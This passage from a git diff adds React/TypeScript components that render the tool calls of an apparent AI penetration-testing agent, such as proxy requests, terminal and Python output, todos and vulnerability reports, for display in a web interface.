<span className="text-amber-400/80 font-semibold text-sm">notes</span>
{notes.length > 0 ? (
<div className="mt-1.5 space-y-0.5">
{notes.map((n, i) => (
<div key={i} className="text-[13px]">
<span className="text-[#555] mr-1">-</span>
<span className="text-[#999]">{n.title ?? "(untitled)"}</span>
<span className="text-[#555] ml-1">({n.category ?? "general"})</span>
{n.content && <div className="ml-3"><Markdown text={n.content} /></div>}
</div>
))}
</div>
) : <div className="mt-1 text-[#555] text-xs">No notes</div>}
</div>
);
}
return <span className="text-amber-400/80 font-semibold text-sm">note</span>;
}
@@ -0,0 +1,250 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { CodeBlock } from "./ToolCard";
const MAX_LINE_LENGTH = 200;
const METHOD_COLORS: Record<string, string> = {
GET: "text-emerald-400/80", POST: "text-blue-400/80", PUT: "text-yellow-400/80",
PATCH: "text-orange-400/80", DELETE: "text-red-400/80",
};
function statusColor(code: number): string {
if (code < 300) return "text-emerald-400/80";
if (code < 400) return "text-yellow-400/80";
if (code < 500) return "text-orange-400/80";
return "text-red-400/80";
}
/** Hard truncate with trailing "..." */
function trunc(text: string, maxLen = 80): string {
return text.length > maxLen ? text.slice(0, maxLen - 3) + "..." : text;
}
/** Replace newlines/tabs, then truncate */
function sanitize(text: string, maxLen = 150): string {
return trunc(text.replace(/\n/g, " ").replace(/\r/g, "").replace(/\t/g, " "), maxLen);
}
/** Limit body to maxLines, each truncated to MAX_LINE_LENGTH-5; returns display string */
function limitBody(body: string, maxLines: number): string {
const lines = body.split("\n");
const display = lines.slice(0, maxLines).map(l => trunc(l, MAX_LINE_LENGTH - 5)).join("\n");
return lines.length > maxLines ? display + "\n..." : display;
}
function ListRequests({ args, result }: ToolRendererProps) {
const filter = (args.httpql_filter as string) ?? "";
const res = result as Record<string, unknown> | null;
const rawReqs = res ? res.requests : null;
const requests = Array.isArray(rawReqs) ? rawReqs as Array<Record<string, unknown>> : [];
return (
<div>
<div className="flex items-center gap-2">
<span className="text-purple-400/80 font-semibold text-sm">listing requests</span>
{filter && <span className="text-[#888] text-[13px]">{trunc(filter, 150)}</span>}
</div>
{requests.length > 0 && (
<div className="mt-1.5 font-mono text-[13px] space-y-0.5">
{requests.slice(0, 20).map((r, i) => {
const m = ((r.method as string) ?? "GET").toUpperCase();
const host = (r.host as string) ?? "";
const path = (r.path as string) ?? "";
const resp = r.response as Record<string, unknown> | undefined;
const sc = (resp?.statusCode as number) ?? null;
return (
<div key={i} className="flex gap-2">
<span className={`w-10 shrink-0 font-bold ${METHOD_COLORS[m] ?? "text-[#888]"}`}>{m}</span>
<span className="text-[#777] truncate">{trunc(host + path, 180)}</span>
{sc != null && <span className={`ml-auto shrink-0 ${statusColor(sc)}`}>{sc}</span>}
</div>
);
})}
{requests.length > 20 && <div className="text-[#555]">... +{requests.length - 20} more</div>}
</div>
)}
</div>
);
}
function ViewRequest({ args, result }: ToolRendererProps) {
const requestId = args.request_id as number | undefined;
const part = (args.part as string) ?? "request";
const searchPattern = (args.search_pattern as string) ?? "";
const res = result as Record<string, unknown> | null;
const rawMatches = res ? res.matches : null;
const matches = Array.isArray(rawMatches) ? rawMatches as Array<Record<string, string>> : [];
const content = res ? (res.content as string) ?? null : null;
const hasMore = res ? !!(res.has_more) : false;
return (
<div>
<div className="flex items-center gap-2">
<span className="text-purple-400/80 font-semibold text-sm">{searchPattern ? "searching" : "viewing"} {part}</span>
{requestId != null && <span className="text-[#888] text-[13px]">#{requestId}</span>}
{searchPattern && <span className="text-[#666] font-mono text-[13px]">/{trunc(searchPattern, 100)}/</span>}
</div>
{matches.length > 0 && (
<div className="mt-1.5 font-mono text-[13px] space-y-1">
{matches.slice(0, 5).map((m, i) => {
// Sanitize context: replace newlines with space, trim to 100 chars
const before = ((m.before ?? "").replace(/\n/g, " ").replace(/\r/g, "")).slice(-100);
const after = ((m.after ?? "").replace(/\n/g, " ").replace(/\r/g, "")).slice(0, 100);
return (
<div key={i}>
{before && <span className="text-[#555]">...{before}</span>}
<span className="text-amber-400/80 font-bold">{m.match}</span>
{after && <span className="text-[#555]">{after}...</span>}
</div>
);
})}
{matches.length > 5 && <div className="text-[#555]">... +{matches.length - 5} more matches</div>}
</div>
)}
{content && !matches.length && (() => {
const lines = content.split("\n");
const display = lines.slice(0, 15).map(l => trunc(l, MAX_LINE_LENGTH)).join("\n");
const showMore = hasMore || lines.length > 15;
return (
<CodeBlock className="text-[#666]">
{display + (showMore ? "\n... more content available" : "")}
</CodeBlock>
);
})()}
</div>
);
}
function SendRequest({ args, result }: ToolRendererProps) {
const method = ((args.method as string) ?? "GET").toUpperCase();
const url = (args.url as string) ?? "";
const headers = args.headers as Record<string, string> | undefined;
const rawBody = args.body;
const reqBody = typeof rawBody === "string" ? rawBody : "";
const res = result as Record<string, unknown> | null;
const error = res ? (res.error as string) ?? null : null;
const statusCode = res ? (res.status_code as number) ?? null : null;
const responseTime = res ? (res.response_time_ms as number) ?? null : null;
const rawResBody = res ? res.body : null;
const resBody = typeof rawResBody === "string" ? rawResBody : null;
return (
<div>
<span className="text-purple-400/80 font-semibold text-sm">request</span>
<div className="mt-1.5 font-mono text-[13px] space-y-0.5">
<div>
<span className="text-[#555] select-none mr-1">&gt;&gt;</span>
<span className={`font-bold ${METHOD_COLORS[method] ?? "text-[#888]"}`}>{method}</span>
<span className="text-[#888] ml-1 break-all">{trunc(url, 180)}</span>
</div>
{headers && typeof headers === "object" && Object.entries(headers).slice(0, 5).map(([k, v]) => (
<div key={k} className="text-[#555] pl-5">{k}: {sanitize(String(v), 150)}</div>
))}
</div>
{reqBody && (
<CodeBlock className="text-[#888]">{limitBody(reqBody, 4)}</CodeBlock>
)}
{error && <div className="text-red-400/70 text-[13px] mt-1.5">{sanitize(error, 150)}</div>}
{statusCode != null && (
<div className="font-mono text-[13px] mt-1.5">
<span className="text-[#555] select-none mr-1">&lt;&lt;</span>
<span className={`font-bold ${statusColor(statusCode)}`}>{statusCode}</span>
{responseTime != null && <span className="text-[#555] ml-2">{responseTime}ms</span>}
</div>
)}
{resBody && (
<CodeBlock className="text-[#666]">{limitBody(resBody, 6)}</CodeBlock>
)}
</div>
);
}
function RepeatRequest({ args, result }: ToolRendererProps) {
const requestId = args.request_id as number | undefined;
const modifications = args.modifications as Record<string, unknown> | undefined;
const res = result as Record<string, unknown> | null;
const statusCode = res ? (res.status_code as number) ?? null : null;
const responseTime = res ? (res.response_time_ms as number) ?? null : null;
const rawRepBody = res ? res.body : null;
const resBody = typeof rawRepBody === "string" ? rawRepBody : null;
return (
<div>
<div className="flex items-center gap-2">
<span className="text-purple-400/80 font-semibold text-sm">repeating request</span>
{requestId != null && <span className="text-[#888] text-[13px]">#{requestId}</span>}
</div>
{modifications && typeof modifications === "object" && Object.keys(modifications).length > 0 && (
<div className="mt-1.5 font-mono text-[13px] space-y-0.5">
{Object.entries(modifications).slice(0, 5).map(([k, v]) => (
<div key={k}><span className="text-orange-400/60">{k}:</span> <span className="text-[#777]">{sanitize(typeof v === "string" ? v : JSON.stringify(v), 150)}</span></div>
))}
</div>
)}
{statusCode != null && (
<div className="font-mono text-[13px] mt-1.5">
<span className="text-[#555] select-none mr-1">&lt;&lt;</span>
<span className={`font-bold ${statusColor(statusCode)}`}>{statusCode}</span>
{responseTime != null && <span className="text-[#555] ml-2">{responseTime}ms</span>}
</div>
)}
{resBody && (
<CodeBlock className="text-[#666]">{limitBody(resBody, 5)}</CodeBlock>
)}
</div>
);
}
const SCOPE_ACTION: Record<string, string> = {
get: "getting", list: "listing", create: "creating", update: "updating", delete: "deleting",
};
function ScopeRules({ args }: ToolRendererProps) {
const action = (args.action as string) ?? "";
const scopeName = (args.scope_name as string) ?? "";
const label = SCOPE_ACTION[action] ?? (action ? action : "managing");
return (
<div className="flex items-center gap-2">
<span className="text-purple-400/80 font-semibold text-sm">{label} proxy scope</span>
{scopeName && <span className="text-[#888] text-[13px]">{trunc(scopeName, 50)}</span>}
</div>
);
}
function ListSitemap({ args }: ToolRendererProps) {
const parentId = args.parent_id as string | undefined;
return (
<div className="flex items-center gap-2">
<span className="text-purple-400/80 font-semibold text-sm">listing sitemap</span>
{parentId && <span className="text-[#888] text-[13px]">under #{trunc(String(parentId), 20)}</span>}
</div>
);
}
function ViewSitemapEntry({ args }: ToolRendererProps) {
const entryId = args.entry_id as string | undefined;
return (
<div className="flex items-center gap-2">
<span className="text-purple-400/80 font-semibold text-sm">viewing sitemap entry</span>
{entryId && <span className="text-[#888] text-[13px]">#{trunc(String(entryId), 20)}</span>}
</div>
);
}
export default function ProxyRenderer(props: ToolRendererProps) {
switch (props.toolName) {
case "list_requests": return <ListRequests {...props} />;
case "view_request": return <ViewRequest {...props} />;
case "send_request": return <SendRequest {...props} />;
case "repeat_request": return <RepeatRequest {...props} />;
case "scope_rules": return <ScopeRules {...props} />;
case "list_sitemap": return <ListSitemap {...props} />;
case "view_sitemap_entry": return <ViewSitemapEntry {...props} />;
default:
return (
<span className="text-purple-400/80 font-semibold text-sm">{props.toolName.replace(/_/g, " ")}</span>
);
}
}
@@ -0,0 +1,68 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { CodeBlock, SyntaxBlock } from "./ToolCard";
const MAX_OUTPUT_LINES = 50;
const MAX_LINE_LENGTH = 200;
const HEAD = 25;
const TAIL = 24;
// Full ANSI escape sequence pattern (matches Python's ANSI_PATTERN)
const ANSI_PATTERN = /\x1b(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~]|\][^\x07]*\x07)/g;
// Strips truncation notices added by Python executor
const STRIP_PATTERN = /\.\.\. \[(stdout|stderr|result|output|error) truncated at \d+k? chars\]/g;
function stripAnsi(text: string): string {
return text.replace(ANSI_PATTERN, "");
}
function truncateLine(line: string): string {
const clean = stripAnsi(line);
if (clean.length > MAX_LINE_LENGTH) return clean.slice(0, MAX_LINE_LENGTH - 3) + "...";
return clean;
}
function cleanOutput(output: string): string {
return output.replace(STRIP_PATTERN, "").trim();
}
function formatOutput(output: string): string {
const lines = output.split("\n");
if (lines.length <= MAX_OUTPUT_LINES) return lines.map(truncateLine).join("\n");
const hiddenCount = lines.length - HEAD - TAIL;
return [
...lines.slice(0, HEAD).map(truncateLine),
`... ${hiddenCount} lines truncated ...`,
...lines.slice(-TAIL).map(truncateLine),
].join("\n");
}
export default function PythonRenderer({ args, result }: ToolRendererProps) {
const action = (args.action as string) ?? "";
const code = (args.code as string) ?? (args.script as string) ?? "";
const res = result as Record<string, unknown> | string | null;
let stdout: string | null = null;
if (res && typeof res === "object") stdout = typeof res.stdout === "string" ? res.stdout : null;
else if (typeof res === "string") stdout = res;
const subtitle =
action === "new_session" ? "new session" :
action === "close" ? "close session" :
action === "list_sessions" ? "list sessions" : null;
const output = stdout ? formatOutput(cleanOutput(stdout)) : null;
return (
<div>
<div className="flex items-center gap-2">
<span className="text-yellow-400/80 font-semibold text-sm">Python</span>
{subtitle && <span className="text-[#888] text-[13px]">{subtitle}</span>}
</div>
{code && <SyntaxBlock code={code} language="python" collapsible />}
{output && <CodeBlock className="text-[#666]">{output}</CodeBlock>}
</div>
);
}
@@ -0,0 +1,46 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { TruncatedText } from "./ToolCard";
function ScanStartInfo({ args }: ToolRendererProps) {
const rawTargets = args.targets;
const targets = Array.isArray(rawTargets) ? rawTargets : [];
const targetNames = targets.map((t) => (typeof t === "object" && t ? (t.original as string) ?? null : null)).filter(Boolean) as string[];
return (
<div>
<div className="flex items-center gap-2">
<span className="text-emerald-400/80 font-semibold text-sm">Starting penetration test</span>
{targetNames.length === 1 && <span className="text-[#888] text-[13px]">on {targetNames[0]}</span>}
</div>
{targetNames.length > 1 && (
<div className="mt-1.5 space-y-0.5">
{targetNames.map((t, i) => (
<div key={i} className="text-[13px] text-[#888]"><span className="text-[#555] mr-1"></span>{t}</div>
))}
</div>
)}
</div>
);
}
function SubagentStartInfo({ args }: ToolRendererProps) {
const name = (args.name as string) ?? "Unknown Agent";
const task = (args.task as string) ?? "";
return (
<div>
<div className="flex items-center gap-2">
<span className="text-[#888] text-[13px]">subagent</span>
<span className="text-purple-400 font-semibold text-sm">{name}</span>
</div>
{task && <div className="mt-1.5"><TruncatedText text={task} maxLines={15} /></div>}
</div>
);
}
export default function ScanInfoRenderer(props: ToolRendererProps) {
if (props.toolName === "subagent_start_info") return <SubagentStartInfo {...props} />;
return <ScanStartInfo {...props} />;
}
@@ -0,0 +1,131 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { CodeBlock, SyntaxBlock } from "./ToolCard";
const MAX_OUTPUT_LINES = 50;
const MAX_LINE_LENGTH = 200;
const HEAD = 25;
const TAIL = 24;
const STRIP_PATTERNS: RegExp[] = [
/\n?\[Command still running after [\d.]+s - showing output so far\.?\s*(?:Use C-c to interrupt if needed\.)?\]/g,
/^\[Below is the output of the previous command\.\]\n?/gm,
/^No command is currently running\. Cannot send input\.$/gm,
/^A command is already running\. Use is_input=true to send input to it, or interrupt it first \(e\.g\., with C-c\)\.$/gm,
];
// Terminal-tool chunk metadata (the OSS engine's shell tool prepends these; the
// TUI strips them in strix/interface/tui/renderers/shell_renderer.py). Only a
// contiguous block anchored on a "Chunk ID:" line is stripped, so identical
// text inside real command output is left untouched.
const CHUNK_PREAMBLE_START = /^Chunk ID: [0-9a-f]+\s*$/;
const CHUNK_PREAMBLE_METADATA: RegExp[] = [
/^Wall time: [\d.]+ seconds\s*$/,
/^Process exited with code -?\d+\s*$/,
/^Process running with session ID \d+\s*$/,
/^Original token count: \d+\s*$/,
];
function stripChunkPreambles(lines: string[]): string[] {
const out: string[] = [];
for (let i = 0; i < lines.length; i++) {
if (CHUNK_PREAMBLE_START.test(lines[i])) {
let j = i + 1;
while (j < lines.length && CHUNK_PREAMBLE_METADATA.some((p) => p.test(lines[j]))) j++;
if (j < lines.length && lines[j].trim() === "Output:") j++;
i = j - 1;
continue;
}
out.push(lines[i]);
}
return out;
}
function escapeRegex(s: string): string {
return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
}
function truncateLine(line: string): string {
if (line.length > MAX_LINE_LENGTH) return line.slice(0, MAX_LINE_LENGTH - 3) + "...";
return line;
}
function cleanOutput(raw: string, command: string = ""): string {
// Strip ANSI escape sequences and carriage returns
let cleaned = raw.replace(/\x1b(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~]|\][^\x07]*\x07)/g, "").replace(/\r/g, "");
for (const pattern of STRIP_PATTERNS) {
cleaned = cleaned.replace(pattern, "");
}
if (cleaned.trim()) {
const lines = stripChunkPreambles(cleaned.split("\n"));
const filtered: string[] = [];
for (const line of lines) {
// Skip leading blank lines
if (filtered.length === 0 && !line.trim()) continue;
// Skip [STRIX_N]$ prompt lines
if (/^\[STRIX_\d+\]\$\s*/.test(line)) continue;
// Skip echoed command (plain)
if (command && line.trim() === command.trim()) continue;
// Skip echoed command with $/#/> prefix
if (command && new RegExp(`^[\\$#>]\\s*${escapeRegex(command.trim())}\\s*$`).test(line)) continue;
filtered.push(line);
}
// Strip trailing [STRIX_N]$ lines
while (filtered.length > 0 && /^\[STRIX_\d+\]\$\s*/.test(filtered[filtered.length - 1])) {
filtered.pop();
}
cleaned = filtered.join("\n");
}
return cleaned.trim();
}
function formatOutput(output: string): string {
const lines = output.split("\n");
if (lines.length <= MAX_OUTPUT_LINES) return lines.map(truncateLine).join("\n");
const hiddenCount = lines.length - HEAD - TAIL;
return [
...lines.slice(0, HEAD).map(truncateLine),
`... ${hiddenCount} lines truncated ...`,
...lines.slice(-TAIL).map(truncateLine),
].join("\n");
}
export default function TerminalRenderer({ toolName, args, result }: ToolRendererProps) {
const isStdin = toolName === "write_stdin";
const command = isStdin
? ((args.chars as string) ?? (args.input as string) ?? "")
: ((args.command as string) ?? (args.cmd as string) ?? "");
const res = result as Record<string, unknown> | string | null;
let content: string | null = null;
let error: string | null = null;
let exitCode: number | null = null;
if (res && typeof res === "object") {
content = typeof res.content === "string" ? res.content : null;
error = typeof res.error === "string" ? res.error : null;
exitCode = typeof res.exit_code === "number" ? res.exit_code : null;
const s = typeof res.status === "string" ? res.status : "";
if (s === "running" || s === "command still running") content = null;
} else if (typeof res === "string") {
content = res;
}
const output = content ? formatOutput(cleanOutput(content, command)) : null;
return (
<div>
<span className="text-emerald-400/80 font-semibold text-sm">{isStdin ? "Terminal input" : "Terminal"}</span>
{command && <SyntaxBlock code={command} language="bash" collapsible />}
{error && <CodeBlock className="text-red-400/70">{error}</CodeBlock>}
{output && <CodeBlock className="text-[#666]">{output}</CodeBlock>}
{exitCode != null && exitCode !== 0 && (
<div className="font-mono text-[13px] text-red-400/70 mt-0.5">exit code {exitCode}</div>
)}
</div>
);
}
@@ -0,0 +1,18 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { TruncatedText } from "./ToolCard";
export default function ThinkRenderer({ args }: ToolRendererProps) {
const thought = (args.thought as string) ?? (args.content as string) ?? "";
if (!thought) return null;
return (
<div>
<span className="text-purple-400/80 font-semibold text-sm">Agent is thinking</span>
<div className="mt-1.5 italic text-[#888]">
<TruncatedText text={thought} maxLines={20} />
</div>
</div>
);
}
@@ -0,0 +1,120 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { Circle, CircleDot, CircleCheckBig, Trash2, Plus, RefreshCw, CheckCheck, RotateCcw, Pencil } from "lucide-react";
interface TodoItem {
id?: string;
title?: string;
status?: string;
}
const ACTION_LABELS: Record<string, { label: string; Icon: typeof Circle }> = {
create_todo: { label: "Task added", Icon: Plus },
list_todos: { label: "Plan", Icon: CheckCheck },
update_todo: { label: "Task updated", Icon: Pencil },
mark_todo_done: { label: "Task completed", Icon: CircleCheckBig },
mark_todo_pending: { label: "Task reopened", Icon: RotateCcw },
delete_todo: { label: "Task removed", Icon: Trash2 },
};
function StatusIcon({ status }: { status: string }) {
if (status === "done") return <CircleCheckBig className="w-3.5 h-3.5 text-emerald-400/70 shrink-0" />;
if (status === "in_progress") return <CircleDot className="w-3.5 h-3.5 text-purple-400/70 shrink-0 animate-pulse" />;
return <Circle className="w-3.5 h-3.5 text-[#444] shrink-0" />;
}
function TodoList({ todos, highlightId }: { todos: TodoItem[]; highlightId?: string }) {
return (
<div className="space-y-0">
{todos.map((todo, i) => {
const s = todo.status ?? "pending";
const isHighlighted = highlightId && todo.id === highlightId;
return (
<div
key={todo.id ?? i}
className={`flex items-start gap-2.5 py-1.5 px-2 -mx-2 rounded-md transition-colors ${
isHighlighted ? "bg-purple-500/[0.08]" : ""
}`}
>
<div className="mt-[1px]">
<StatusIcon status={s} />
</div>
<span
className={`text-[13px] leading-snug ${
s === "done"
? "text-[#555] line-through"
: s === "in_progress"
? "text-[#bbb]"
: "text-[#999]"
}`}
>
{todo.title ?? "(untitled)"}
</span>
</div>
);
})}
</div>
);
}
export default function TodoRenderer({ toolName, args, result }: ToolRendererProps) {
const action = ACTION_LABELS[toolName] ?? { label: "Plan", Icon: RefreshCw };
const ActionIcon = action.Icon;
const res = result as Record<string, unknown> | string | null;
// Simple string result
if (typeof res === "string" && res.trim()) {
return (
<div>
<div className="flex items-center gap-2">
<ActionIcon className="w-3.5 h-3.5 text-purple-400/60" />
<span className="text-purple-400/80 font-semibold text-sm">{action.label}</span>
</div>
<div className="mt-1.5 text-[#888] text-[13px]">{res.trim()}</div>
</div>
);
}
// Parse structured result
let todos: TodoItem[] = [];
let error: string | null = null;
let todoId: string | undefined;
if (res && typeof res === "object") {
error = (res.error as string) ?? null;
if (res.success) {
const rawTodos = res.todos;
todos = Array.isArray(rawTodos) ? (rawTodos as TodoItem[]) : [];
}
todoId = (res.id as string) ?? (args.todo_id as string) ?? undefined;
}
// For mutations, highlight the affected item
const highlightId = toolName !== "list_todos" ? todoId : undefined;
// No todos and no error — brief label only
if (todos.length === 0 && !error) {
return (
<div className="flex items-center gap-2">
<ActionIcon className="w-3.5 h-3.5 text-purple-400/60" />
<span className="text-purple-400/80 font-semibold text-sm">{action.label}</span>
</div>
);
}
return (
<div>
<div className="flex items-center gap-2 mb-2">
<ActionIcon className="w-3.5 h-3.5 text-purple-400/60" />
<span className="text-purple-400/80 font-semibold text-sm">{action.label}</span>
</div>
{error && <div className="text-red-400/70 text-[13px] mb-2">{error}</div>}
{todos.length > 0 && (
<div className="rounded-lg border border-white/[0.06] bg-white/[0.015] px-3 py-2">
<TodoList todos={todos} highlightId={highlightId} />
</div>
)}
</div>
);
}
@@ -0,0 +1,100 @@
"use client";
import { useState } from "react";
import Markdown from "./Markdown";
import hljs from "@/lib/hljs";
import "highlight.js/styles/github-dark.css";
const OUTPUT_PREVIEW_LINES = 6;
const CODE_PREVIEW_LINES = 20;
/** Truncatable markdown text with "Show more" */
export function TruncatedText({ text, maxLines = 20 }: { text: string; maxLines?: number }) {
const [expanded, setExpanded] = useState(false);
const lines = text.trimEnd().split("\n");
const needsTruncation = lines.length > maxLines;
return (
<div>
<div
className={expanded && needsTruncation ? "max-h-[1200px] overflow-auto" : ""}
style={!expanded && needsTruncation ? { display: "-webkit-box", WebkitLineClamp: maxLines, WebkitBoxOrient: "vertical", overflow: "hidden" } : undefined}
>
<Markdown text={text} />
</div>
{needsTruncation && (
<button onClick={() => setExpanded(!expanded)} className="text-xs text-[#555] hover:text-[#888] mt-1">
{expanded ? "Show less" : "Show more"}
</button>
)}
</div>
);
}
/** Code/output block — truncates to 12 lines with "Show more", expanded view scrolls */
export function CodeBlock({ children, className = "" }: { children: React.ReactNode; className?: string }) {
const [expanded, setExpanded] = useState(false);
const isString = typeof children === "string";
const lines = isString ? (children as string).trimEnd().split("\n") : null;
const needsTruncation = lines !== null && lines.length > OUTPUT_PREVIEW_LINES;
const displayContent = needsTruncation && !expanded
? lines!.slice(0, OUTPUT_PREVIEW_LINES).join("\n")
: children;
return (
<div>
<pre className={`font-mono text-[13px] leading-relaxed whitespace-pre-wrap break-words mt-1 ${
expanded ? "overflow-auto max-h-[1200px]" : "overflow-hidden"
} ${className}`}>
{displayContent}
</pre>
{needsTruncation && (
<button
onClick={() => setExpanded(!expanded)}
className="text-xs text-[#555] hover:text-[#888] mt-0.5"
>
{expanded ? "Show less" : "Show more"}
</button>
)}
</div>
);
}
/** Syntax-highlighted code block no border, no line numbers, just highlighting.
* Pass `collapsible` to get a "Show more" toggle instead of a scroll cap. */
export function SyntaxBlock({ code, language, className = "", collapsible = false }: { code: string; language?: string; className?: string; collapsible?: boolean }) {
const [expanded, setExpanded] = useState(false);
const lines = code.trimEnd().split("\n");
const needsTruncation = collapsible && lines.length > CODE_PREVIEW_LINES;
const displayCode = needsTruncation && !expanded
? lines.slice(0, CODE_PREVIEW_LINES).join("\n")
: code;
let highlighted: string;
try {
highlighted = language
? hljs.highlight(displayCode, { language, ignoreIllegals: true }).value
: hljs.highlightAuto(displayCode).value;
} catch {
highlighted = hljs.highlightAuto(displayCode).value;
}
return (
<div>
<pre className={`font-mono text-[12px] leading-relaxed px-0 py-1 mt-1 whitespace-pre-wrap break-all ${
collapsible
? expanded ? "overflow-auto max-h-[1200px]" : "overflow-hidden"
: "overflow-auto max-h-[400px]"
} ${className}`}>
<code dangerouslySetInnerHTML={{ __html: highlighted }} />
</pre>
{needsTruncation && (
<button onClick={() => setExpanded(!expanded)} className="text-xs text-[#555] hover:text-[#888] mt-0.5">
{expanded ? "Show less" : "Show more"}
</button>
)}
</div>
);
}
@@ -0,0 +1,30 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { shortPath } from "./utils";
/** Mirrors the OSS TUI `ViewImageRenderer`: surfaces load errors, otherwise a
* compact "view image <path>" line. */
export default function ViewImageRenderer({ args, result }: ToolRendererProps) {
const path = ((args.path as string) ?? "").trim();
const res = result as Record<string, unknown> | string | null;
let error: string | null = null;
if (typeof res === "string") {
const trimmed = res.trim();
// A string result that isn't an image payload or structured data is an error message
if (trimmed && !trimmed.toLowerCase().startsWith("data:image/") && !trimmed.startsWith("{")) {
error = trimmed;
}
}
return (
<div>
<div className="flex items-baseline gap-2">
<span className="text-sky-400/80 font-semibold text-sm shrink-0">view image</span>
{path && <span className="text-[#888] font-mono text-[13px] break-all">{shortPath(path)}</span>}
</div>
{error && <div className="text-red-400/70 text-[13px] mt-1">{error}</div>}
</div>
);
}
@@ -0,0 +1,73 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { TruncatedText } from "./ToolCard";
import { MdCodeBlock } from "@/components/vulnerability/MdCodeBlock";
import Markdown from "./Markdown";
const SEVERITY_COLORS: Record<string, string> = {
critical: "text-red-400", high: "text-orange-400", medium: "text-yellow-400",
low: "text-blue-400", info: "text-cyan-400",
};
export default function VulnReportRenderer({ args, result }: ToolRendererProps) {
const title = (args.title as string) ?? "";
const description = (args.description as string) ?? "";
const impact = (args.impact as string) ?? "";
const target = (args.target as string) ?? "";
const endpoint = (args.endpoint as string) ?? "";
const method = (args.method as string) ?? "";
const technicalAnalysis = (args.technical_analysis as string) ?? "";
const pocDescription = (args.poc_description as string) ?? "";
const pocCode = (args.poc_script_code as string) ?? "";
const remediation = (args.remediation_steps as string) ?? "";
const cve = (args.cve as string) ?? "";
const cwe = (args.cwe as string) ?? "";
const res = result as Record<string, unknown> | null;
const rawSev = (res && typeof res === "object" ? res.severity : null) ?? args.severity ?? "medium";
const severity = String(rawSev).toLowerCase();
const cvss = (res && typeof res === "object" ? (res.cvss_score as number) : null) ?? (args.cvss as number) ?? null;
const sevColor = SEVERITY_COLORS[severity] ?? "text-yellow-400";
return (
<div className="space-y-3">
<div className="flex items-center gap-2 flex-wrap">
<span className={`font-semibold text-sm ${sevColor}`}>{severity.toUpperCase()}</span>
{cvss != null && <span className="text-[#888] text-[13px]">CVSS {cvss}</span>}
{cve && <span className="text-[#888] font-mono text-[13px]">{cve}</span>}
{cwe && <span className="text-[#888] font-mono text-[13px]">{cwe}</span>}
</div>
{title && <div className="text-[15px] text-white/80 font-semibold">{title}</div>}
{(target || endpoint) && (
<div className="text-[13px] text-[#888] font-mono">{target}{endpoint ? ` ${method} ${endpoint}` : ""}</div>
)}
{description && <TruncatedText text={description} maxLines={20} />}
{impact && (
<div>
<span className="text-emerald-400/60 text-sm font-semibold">Impact</span>
<div className="mt-1"><TruncatedText text={impact} maxLines={15} /></div>
</div>
)}
{technicalAnalysis && (
<div>
<span className="text-emerald-400/60 text-sm font-semibold">Technical Analysis</span>
<div className="mt-1"><TruncatedText text={technicalAnalysis} maxLines={20} /></div>
</div>
)}
{(pocDescription || pocCode) && (
<div>
<span className="text-emerald-400/60 text-sm font-semibold">Proof of Concept</span>
{pocDescription && <div className="mt-1"><Markdown text={pocDescription} /></div>}
{pocCode && <MdCodeBlock>{pocCode}</MdCodeBlock>}
</div>
)}
{remediation && (
<div>
<span className="text-emerald-400/60 text-sm font-semibold">Remediation</span>
<div className="mt-1"><TruncatedText text={remediation} maxLines={15} /></div>
</div>
)}
</div>
);
}
@@ -0,0 +1,24 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { TruncatedText } from "./ToolCard";
export default function WebSearchRenderer({ args, result }: ToolRendererProps) {
const query = (args.query as string) ?? (args.search_query as string) ?? "";
const res = result as Record<string, unknown> | null;
const content = res ? (res.content as string) ?? null : null;
const error = res && !res.success ? (res.message as string) ?? null : null;
return (
<div>
<span className="text-amber-400/80 font-semibold text-sm">Searching the web</span>
{query && <div className="text-[#888] text-[13px] mt-0.5">{query}</div>}
{error && <div className="text-red-400/70 text-[13px] mt-1.5">{error}</div>}
{content && (
<div className="mt-2">
<TruncatedText text={content} maxLines={15} />
</div>
)}
</div>
);
}
@@ -0,0 +1,173 @@
import type { ComponentType } from "react";
import type { ToolRendererProps } from "@/types/events";
import {
Terminal, Globe, FileText, ShieldAlert, ArrowUpRight, Brain,
Bot, MessageCircle, Flag, Eye, Search, Code, StickyNote,
ListTodo, Crosshair, Wrench, Ban, Image,
} from "lucide-react";
import TerminalRenderer from "./TerminalRenderer";
import BrowserRenderer from "./BrowserRenderer";
import FileEditRenderer from "./FileEditRenderer";
import ApplyPatchRenderer from "./ApplyPatchRenderer";
import ViewImageRenderer from "./ViewImageRenderer";
import VulnReportRenderer from "./VulnReportRenderer";
import ProxyRenderer from "./ProxyRenderer";
import ThinkRenderer from "./ThinkRenderer";
import AgentCommsRenderer from "./AgentCommsRenderer";
import WebSearchRenderer from "./WebSearchRenderer";
import PythonRenderer from "./PythonRenderer";
import ScanInfoRenderer from "./ScanInfoRenderer";
import FinishRenderer from "./FinishRenderer";
import NotesRenderer from "./NotesRenderer";
import TodoRenderer from "./TodoRenderer";
import FallbackRenderer from "./FallbackRenderer";
import LoadSkillRenderer from "./LoadSkillRenderer";
/**
* Tool-renderer mapping data-driven, keyed by the engine's tool *family*.
*
* The OSS strix engine (usestrix/strix) is the source of truth for tool names:
* see `strix/tools/**` for definitions and `strix/interface/tui/renderers/` for
* the TUI equivalents of these components. Tools come in families that share a
* React renderer + icon (terminal, proxy, notes, todos, ), so we describe each
* family ONCE instead of repeating a row per tool name. A new tool that joins an
* existing family (e.g. another `*_request` proxy tool) is picked up by the
* family prefix matcher with no code change; only genuinely-new families need an
* entry here.
*/
export type ToolCategory =
| "terminal"
| "python"
| "browser"
| "filesystem"
| "proxy"
| "reporting"
| "thinking"
| "agents"
| "search"
| "lifecycle"
| "notes"
| "skills"
| "todos"
| "telemetry";
export interface ToolIconMeta {
icon: ComponentType<{ className?: string }>;
color: string;
}
interface CategoryMeta {
renderer: ComponentType<ToolRendererProps>;
icon: ComponentType<{ className?: string }>;
color: string;
/** Family matcher for graceful fallback of unknown tools in this family. */
match?: RegExp;
}
/** Per-family defaults: renderer + base icon/color + a family-name matcher. */
